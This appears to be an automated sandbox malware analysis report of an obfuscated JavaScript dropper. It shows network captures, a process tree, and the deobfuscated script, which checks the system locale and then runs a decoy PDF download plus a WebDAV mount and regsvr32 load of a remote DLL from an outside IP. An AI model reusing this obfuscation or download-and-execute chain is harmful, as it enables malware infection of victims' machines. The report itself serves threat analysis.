Jan 10, 2025 17:07:15.364686012 CET	224	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]
Jan 10, 2025 17:07:15.364698887 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 17:07:15.364723921 CET	224	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 10, 2025 17:07:15.364739895 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 17:07:15.364756107 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 17:07:15.364772081 CET	448	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 17:07:15.364789963 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 10, 2025 17:07:15.369671106 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	193.143.1.205	8888	5480	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:07:17.030225039 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 17:07:17.860840082 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:07:17 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	11:07:10
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1936930021252095876.js"
Imagebase:	0x7ff658c00000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:07:11
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll
Imagebase:	0x7ff6bb390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:07:11
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:07:11
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:07:16
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	11:07:16
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6bb390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:07:16
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6c5690000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:07:17
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	11:07:17
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	11:07:17
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1636,i,6290968276364206854,1399716073142869749,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function xyvqchjjn() {	xyvqchjjn() ➔ undefined
1	mvshlxdl = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var xowoyv = this[jlwxaewnc + odryvud + gkhjzaz + vsnbe + gcfrakrc + wamgeu + arljav + wsruzmd] ( this[buoyrhwai + zmmwfgxw + tzgfkbh + gkhjzaz + hhvloeru + jlwxaewnc + wsruzmd][kkjfp + gkhjzaz + gcfrakrc + odryvud + wsruzmd + gcfrakrc + alrawmjd + kwgor + uligjxgmp + gcfrakrc + tzgfkbh + wsruzmd] ( buoyrhwai + zmmwfgxw + tzgfkbh + gkhjzaz + hhvloeru + jlwxaewnc + wsruzmd + nkwud + zmmwfgxw + xmfiaurj + gcfrakrc + xuhcki + xuhcki ) [lktwdovk + gcfrakrc + cwgeunr + lktwdovk + gcfrakrc + odryvud + fomjixgs] ( crqeecx + vzmenaia + wjlqvjmq + cgrib + nwkapjlqs + kkjfp + kfvus + lktwdovk + lktwdovk + wjlqvjmq + qsohik + mjgyx + nwkapjlqs + kfvus + zmmwfgxw + wjlqvjmq + lktwdovk + jvbab + kkjfp + uqocrha + arljav + wsruzmd + gkhjzaz + uqocrha + xuhcki + pvxlrooqn + qfqsd + odryvud + arljav + gcfrakrc + xuhcki + jvbab + wamgeu + arljav + wsruzmd + gcfrakrc + gkhjzaz + arljav + odryvud + wsruzmd + hhvloeru + uqocrha + arljav + odryvud + xuhcki + jvbab + zyaunh + uqocrha + tzgfkbh + odryvud + xuhcki + gcfrakrc ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( lhwph = 0 ; lhwph < mvshlxdl[xuhcki + gcfrakrc + arljav + cwgeunr + wsruzmd + xmfiaurj] ; ++ lhwph )
4	{
5	if ( xowoyv == mvshlxdl[lhwph] )
6	{
7	xowoyv = true;
8	break ;
9	}
10	}
11	if ( xowoyv !== true )
12	this[buoyrhwai + zmmwfgxw + tzgfkbh + gkhjzaz + hhvloeru + jlwxaewnc + wsruzmd][ijvnagl + imskzbn + hhvloeru + wsruzmd] ( );
13	this[buoyrhwai + zmmwfgxw + tzgfkbh + gkhjzaz + hhvloeru + jlwxaewnc + wsruzmd][kkjfp + gkhjzaz + gcfrakrc + odryvud + wsruzmd + gcfrakrc + alrawmjd + kwgor + uligjxgmp + gcfrakrc + tzgfkbh + wsruzmd] ( buoyrhwai + zmmwfgxw + tzgfkbh + gkhjzaz + hhvloeru + jlwxaewnc + wsruzmd + nkwud + zmmwfgxw + xmfiaurj + gcfrakrc + xuhcki + xuhcki ) [gkhjzaz + imskzbn + arljav] ( tzgfkbh + ikdby + fomjixgs + pvxlrooqn + ntkxr + tzgfkbh + pvxlrooqn + jlwxaewnc + uqocrha + xthsa + gcfrakrc + gkhjzaz + vsnbe + xmfiaurj + gcfrakrc + xuhcki + xuhcki + nkwud + gcfrakrc + xodemkvjf + gcfrakrc + pvxlrooqn + ilfji + kkjfp + uqocrha + ikdby + ikdby + odryvud + arljav + fomjixgs + pvxlrooqn + omzrfnsn + wamgeu + arljav + megfkl + uqocrha + qihfgz + gcfrakrc + ilfji + buoyrhwai + gcfrakrc + kwgor + lktwdovk + gcfrakrc + oxxnzucpu + imskzbn + gcfrakrc + vsnbe + wsruzmd + pvxlrooqn + ilfji + alrawmjd + imskzbn + wsruzmd + kzbtim + hhvloeru + xuhcki + gcfrakrc + pvxlrooqn + dafeqkgo + wsruzmd + gcfrakrc + ikdby + jlwxaewnc + dafeqkgo + jvbab + hhvloeru + arljav + megfkl + uqocrha + hhvloeru + tzgfkbh + gcfrakrc + nkwud + jlwxaewnc + fomjixgs + zfese + pvxlrooqn + xmfiaurj + wsruzmd + wsruzmd + jlwxaewnc + dcqysg + ntkxr + ntkxr + upiktx + tgifj + lbztrg + nkwud + upiktx + zavqqhbj + lbztrg + nkwud + upiktx + nkwud + txbdp + orwor + hxeai + ntkxr + hhvloeru + arljav + megfkl + uqocrha + hhvloeru + tzgfkbh + gcfrakrc + nkwud + jlwxaewnc + xmfiaurj + jlwxaewnc + omzrfnsn + cfnemvxk + cfnemvxk + vsnbe + wsruzmd + odryvud + gkhjzaz + wsruzmd + pvxlrooqn + dafeqkgo + wsruzmd + gcfrakrc + ikdby + jlwxaewnc + dafeqkgo + jvbab + hhvloeru + arljav + megfkl + uqocrha + hhvloeru + tzgfkbh + gcfrakrc + nkwud + jlwxaewnc + fomjixgs + zfese + cfnemvxk + cfnemvxk + tzgfkbh + ikdby + fomjixgs + pvxlrooqn + ntkxr + tzgfkbh + pvxlrooqn + arljav + gcfrakrc + wsruzmd + pvxlrooqn + imskzbn + vsnbe + gcfrakrc + pvxlrooqn + jvbab + jvbab + upiktx + tgifj + lbztrg + nkwud + upiktx + zavqqhbj + lbztrg + nkwud + upiktx + nkwud + txbdp + orwor + hxeai + cpfuajph + czzdee + czzdee + czzdee + czzdee + jvbab + fomjixgs + odryvud + megfkl + xthsa + xthsa + xthsa + gkhjzaz + uqocrha + uqocrha + wsruzmd + jvbab + cfnemvxk + cfnemvxk + tzgfkbh + ikdby + fomjixgs + pvxlrooqn + ntkxr + tzgfkbh + pvxlrooqn + gkhjzaz + gcfrakrc + cwgeunr + vsnbe + megfkl + gkhjzaz + lbztrg + txbdp + pvxlrooqn + ntkxr + vsnbe + pvxlrooqn + jvbab + jvbab + upiktx + tgifj + lbztrg + nkwud + upiktx + zavqqhbj + lbztrg + nkwud + upiktx + nkwud + txbdp + orwor + hxeai + cpfuajph + czzdee + czzdee + czzdee + czzdee + jvbab + fomjixgs + odryvud + megfkl + xthsa + xthsa + xthsa + gkhjzaz + uqocrha + uqocrha + wsruzmd + jvbab + lbztrg + upiktx + iixtyspb + iixtyspb + zavqqhbj + txbdp + hxeai + txbdp + lbztrg + lbztrg + upiktx + orwor + upiktx + iixtyspb + lbztrg + nkwud + fomjixgs + xuhcki + xuhcki, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll",0,false) ➔ 0
14	}
15	jlwxaewnc = "p";
16	jlwxaewnc = "m";
17	jlwxaewnc = "I";
18	jlwxaewnc = "j";
19	jlwxaewnc = "I";
20	jlwxaewnc = "R";
21	jlwxaewnc = "S";
22	jlwxaewnc = "G";
23	jlwxaewnc = "Q";
24	jlwxaewnc = "p";
25	lktwdovk = "S";
26	lktwdovk = "f";
27	lktwdovk = "T";
28	lktwdovk = "R";
29	nkwud = ".";
30	crqeecx = "x";
31	crqeecx = "b";
32	crqeecx = "v";
33	crqeecx = "D";
34	crqeecx = "T";
35	crqeecx = "U";
36	crqeecx = "R";
37	crqeecx = "Y";
38	crqeecx = "S";
39	crqeecx = "e";
40	crqeecx = "b";
41	crqeecx = "i";
42	crqeecx = "d";
43	crqeecx = "N";
44	crqeecx = "I";
45	crqeecx = "H";
46	crqeecx = "n";
47	crqeecx = "M";
48	crqeecx = "I";
49	crqeecx = "R";
50	crqeecx = "f";
51	crqeecx = "D";
52	crqeecx = "l";
53	crqeecx = "h";
54	crqeecx = "i";
55	crqeecx = "t";
56	crqeecx = "D";
57	crqeecx = "I";
58	crqeecx = "T";
59	crqeecx = "m";
60	crqeecx = "t";
61	crqeecx = "O";
62	crqeecx = "Y";
63	crqeecx = "s";
64	crqeecx = "p";
65	crqeecx = "H";
66	cpfuajph = "e";
67	cpfuajph = "z";
68	cpfuajph = "u";
69	cpfuajph = "B";
70	cpfuajph = "L";
71	cpfuajph = "z";
72	cpfuajph = "v";
73	cpfuajph = "k";
74	cpfuajph = "H";
75	cpfuajph = "X";
76	cpfuajph = "G";
77	cpfuajph = "p";
78	cpfuajph = "N";
79	cpfuajph = "n";
80	cpfuajph = "l";
81	cpfuajph = "Q";
82	cpfuajph = "Y";
83	cpfuajph = "Y";
84	cpfuajph = "m";
85	cpfuajph = "v";
86	cpfuajph = "z";
87	cpfuajph = "h";
88	cpfuajph = "A";
89	cpfuajph = "J";
90	cpfuajph = "W";
91	cpfuajph = "B";
92	cpfuajph = "k";
93	cpfuajph = "N";
94	cpfuajph = "D";
95	cpfuajph = "o";
96	cpfuajph = "H";
97	cpfuajph = "T";
98	cpfuajph = "Z";
99	cpfuajph = "b";
100	cpfuajph = "b";
101	cpfuajph = "l";
102	cpfuajph = "j";
103	cpfuajph = "R";
104	cpfuajph = "L";
105	cpfuajph = "b";
106	cpfuajph = "R";
107	cpfuajph = "@";
108	xuhcki = "d";
109	xuhcki = "D";
110	xuhcki = "r";
111	xuhcki = "A";
112	xuhcki = "p";
113	xuhcki = "i";
114	xuhcki = "W";
115	xuhcki = "t";
116	xuhcki = "k";
117	xuhcki = "b";
118	xuhcki = "V";
119	xuhcki = "w";
120	xuhcki = "m";
121	xuhcki = "r";
122	xuhcki = "X";
123	xuhcki = "n";
124	xuhcki = "K";
125	xuhcki = "S";
126	xuhcki = "T";
127	xuhcki = "y";
128	xuhcki = "J";
129	xuhcki = "O";
130	xuhcki = "W";
131	xuhcki = "u";
132	xuhcki = "m";
133	xuhcki = "O";
134	xuhcki = "T";
135	xuhcki = "R";
136	xuhcki = "r";
137	xuhcki = "x";
138	xuhcki = "f";
139	xuhcki = "l";
140	xuhcki = "U";
141	xuhcki = "y";
142	xuhcki = "R";
143	xuhcki = "l";
144	oxxnzucpu = "P";
145	oxxnzucpu = "d";
146	oxxnzucpu = "q";
147	kfvus = "I";
148	kfvus = "C";
149	kfvus = "l";
150	kfvus = "w";
151	kfvus = "h";
152	kfvus = "Z";
153	kfvus = "s";
154	kfvus = "c";
155	kfvus = "G";
156	kfvus = "J";
157	kfvus = "P";
158	kfvus = "t";
159	kfvus = "u";
160	kfvus = "s";
161	kfvus = "S";
162	kfvus = "w";
163	kfvus = "T";
164	kfvus = "U";
165	jvbab = "G";
166	jvbab = "\\";
167	hhvloeru = "S";
168	hhvloeru = "E";
169	hhvloeru = "x";
170	hhvloeru = "t";
171	hhvloeru = "H";
172	hhvloeru = "j";
173	hhvloeru = "c";
174	hhvloeru = "i";
175	vzmenaia = "Z";
176	vzmenaia = "W";
177	vzmenaia = "L";
178	vzmenaia = "e";
179	vzmenaia = "E";
180	vzmenaia = "w";
181	vzmenaia = "J";
182	vzmenaia = "L";
183	vzmenaia = "a";
184	vzmenaia = "C";
185	vzmenaia = "B";
186	vzmenaia = "d";
187	vzmenaia = "h";
188	vzmenaia = "H";
189	vzmenaia = "C";
190	vzmenaia = "J";
191	vzmenaia = "m";
192	vzmenaia = "h";
193	vzmenaia = "d";
194	vzmenaia = "T";
195	vzmenaia = "K";
196	ntkxr = "/";
197	gcfrakrc = "S";
198	gcfrakrc = "i";
199	gcfrakrc = "W";
200	gcfrakrc = "R";
201	gcfrakrc = "X";
202	gcfrakrc = "G";
203	gcfrakrc = "B";
204	gcfrakrc = "D";
205	gcfrakrc = "R";
206	gcfrakrc = "f";
207	gcfrakrc = "w";
208	gcfrakrc = "q";
209	gcfrakrc = "q";
210	gcfrakrc = "A";
211	gcfrakrc = "o";
212	gcfrakrc = "e";
213	dafeqkgo = "D";
214	dafeqkgo = "i";
215	dafeqkgo = "M";
216	dafeqkgo = "v";
217	dafeqkgo = "s";
218	dafeqkgo = "u";
219	dafeqkgo = "J";
220	dafeqkgo = "q";
221	dafeqkgo = "J";
222	dafeqkgo = "E";
223	dafeqkgo = "W";
224	dafeqkgo = "B";
225	dafeqkgo = "C";
226	dafeqkgo = "A";
227	dafeqkgo = "F";
228	dafeqkgo = "m";
229	dafeqkgo = "b";
230	dafeqkgo = "Z";
231	dafeqkgo = "a";
232	dafeqkgo = "O";
233	dafeqkgo = "l";
234	dafeqkgo = "z";
235	dafeqkgo = "t";
236	dafeqkgo = "T";
237	dafeqkgo = "h";
238	dafeqkgo = "s";
239	dafeqkgo = "w";
240	dafeqkgo = "U";
241	dafeqkgo = "%";
242	lbztrg = "x";
243	lbztrg = "O";
244	lbztrg = "h";
245	lbztrg = "q";
246	lbztrg = "z";
247	lbztrg = "a";
248	lbztrg = "B";
249	lbztrg = "s";
250	lbztrg = "e";
251	lbztrg = "t";
252	lbztrg = "Z";
253	lbztrg = "y";
254	lbztrg = "l";
255	lbztrg = "u";
256	lbztrg = "d";
257	lbztrg = "j";
258	lbztrg = "s";
259	lbztrg = "t";
260	lbztrg = "H";
261	lbztrg = "t";
262	lbztrg = "3";
263	xodemkvjf = "v";
264	xodemkvjf = "S";
265	xodemkvjf = "p";
266	xodemkvjf = "V";
267	xodemkvjf = "p";
268	xodemkvjf = "J";
269	xodemkvjf = "c";
270	xodemkvjf = "h";
271	xodemkvjf = "m";
272	xodemkvjf = "G";
273	xodemkvjf = "x";
274	zfese = "Z";
275	zfese = "O";
276	zfese = "S";
277	zfese = "R";
278	zfese = "L";
279	zfese = "g";
280	zfese = "k";
281	zfese = "E";
282	zfese = "q";
283	zfese = "t";
284	zfese = "F";
285	zfese = "a";
286	zfese = "z";
287	zfese = "c";
288	zfese = "p";
289	zfese = "I";
290	zfese = "k";
291	zfese = "Z";
292	zfese = "f";
293	tgifj = "g";
294	tgifj = "d";
295	tgifj = "X";
296	tgifj = "k";
297	tgifj = "Z";
298	tgifj = "Q";
299	tgifj = "w";
300	tgifj = "F";
301	tgifj = "E";
302	tgifj = "S";
303	tgifj = "x";
304	tgifj = "b";
305	tgifj = "P";
306	tgifj = "S";
307	tgifj = "k";
308	tgifj = "j";
309	tgifj = "M";
310	tgifj = "E";
311	tgifj = "H";
312	tgifj = "F";
313	tgifj = "S";
314	tgifj = "x";
315	tgifj = "9";
316	qsohik = "y";
317	qsohik = "A";
318	qsohik = "C";
319	qsohik = "r";
320	qsohik = "D";
321	qsohik = "T";
322	qsohik = "I";
323	qsohik = "z";
324	qsohik = "G";
325	qsohik = "v";
326	qsohik = "l";
327	qsohik = "e";
328	qsohik = "G";
329	qsohik = "y";
330	qsohik = "H";
331	qsohik = "F";
332	qsohik = "Y";
333	qsohik = "V";
334	qsohik = "c";
335	qsohik = "s";
336	qsohik = "L";
337	qsohik = "T";
338	qsohik = "E";
339	qsohik = "W";
340	qsohik = "Y";
341	qsohik = "I";
342	qsohik = "D";
343	qsohik = "G";
344	qsohik = "v";
345	qsohik = "J";
346	qsohik = "H";
347	qsohik = "P";
348	qsohik = "g";
349	qsohik = "l";
350	qsohik = "N";
351	qsohik = "r";
352	qsohik = "P";
353	qsohik = "L";
354	qsohik = "U";
355	qsohik = "F";
356	qsohik = "A";
357	qsohik = "F";
358	qsohik = "I";
359	qsohik = "N";
360	orwor = "c";
361	orwor = "D";
362	orwor = "B";
363	orwor = "y";
364	orwor = "H";
365	orwor = "l";
366	orwor = "j";
367	orwor = "n";
368	orwor = "V";
369	orwor = "u";
370	orwor = "F";
371	orwor = "T";
372	orwor = "p";
373	orwor = "y";
374	orwor = "O";
375	orwor = "e";
376	orwor = "f";
377	orwor = "M";
378	orwor = "C";
379	orwor = "v";
380	orwor = "d";
381	orwor = "U";
382	orwor = "a";
383	orwor = "j";
384	orwor = "h";
385	orwor = "t";
386	orwor = "p";
387	orwor = "n";
388	orwor = "m";
389	orwor = "q";
390	orwor = "R";
391	orwor = "e";
392	orwor = "z";
393	orwor = "b";
394	orwor = "l";
395	orwor = "P";
396	orwor = "h";
397	orwor = "o";
398	orwor = "d";
399	orwor = "Z";
400	orwor = "y";
401	orwor = "H";
402	orwor = "O";
403	orwor = "w";
404	orwor = "0";
405	txbdp = "s";
406	txbdp = "i";
407	txbdp = "e";
408	txbdp = "C";
409	txbdp = "j";
410	txbdp = "Q";
411	txbdp = "y";
412	txbdp = "w";
413	txbdp = "H";
414	txbdp = "2";
415	ijvnagl = "P";
416	ijvnagl = "t";
417	ijvnagl = "E";
418	ijvnagl = "k";
419	ijvnagl = "V";
420	ijvnagl = "Z";
421	ijvnagl = "O";
422	ijvnagl = "U";
423	ijvnagl = "B";
424	ijvnagl = "t";
425	ijvnagl = "L";
426	ijvnagl = "p";
427	ijvnagl = "e";
428	ijvnagl = "p";
429	ijvnagl = "R";
430	ijvnagl = "T";
431	ijvnagl = "W";
432	ijvnagl = "w";
433	ijvnagl = "H";
434	ijvnagl = "P";
435	ijvnagl = "H";
436	ijvnagl = "R";
437	ijvnagl = "L";
438	ijvnagl = "X";
439	ijvnagl = "D";
440	ijvnagl = "m";
441	ijvnagl = "Y";
442	ijvnagl = "C";
443	ijvnagl = "z";
444	ijvnagl = "w";
445	ijvnagl = "P";
446	ijvnagl = "X";
447	ijvnagl = "W";
448	ijvnagl = "t";
449	ijvnagl = "g";
450	ijvnagl = "A";
451	ijvnagl = "W";
452	ijvnagl = "A";
453	ijvnagl = "S";
454	ijvnagl = "Z";
455	ijvnagl = "v";
456	ijvnagl = "Q";
457	imskzbn = "K";
458	imskzbn = "E";
459	imskzbn = "M";
460	imskzbn = "t";
461	imskzbn = "n";
462	imskzbn = "n";
463	imskzbn = "z";
464	imskzbn = "B";
465	imskzbn = "Q";
466	imskzbn = "m";
467	imskzbn = "d";
468	imskzbn = "K";
469	imskzbn = "p";
470	imskzbn = "A";
471	imskzbn = "Y";
472	imskzbn = "r";
473	imskzbn = "t";
474	imskzbn = "a";
475	imskzbn = "z";
476	imskzbn = "a";
477	imskzbn = "T";
478	imskzbn = "K";
479	imskzbn = "y";
480	imskzbn = "X";
481	imskzbn = "m";
482	imskzbn = "t";
483	imskzbn = "O";
484	imskzbn = "F";
485	imskzbn = "s";
486	imskzbn = "W";
487	imskzbn = "k";
488	imskzbn = "g";
489	imskzbn = "k";
490	imskzbn = "l";
491	imskzbn = "L";
492	imskzbn = "O";
493	imskzbn = "u";
494	dcqysg = "c";
495	dcqysg = "F";
496	dcqysg = "X";
497	dcqysg = "N";
498	dcqysg = "z";
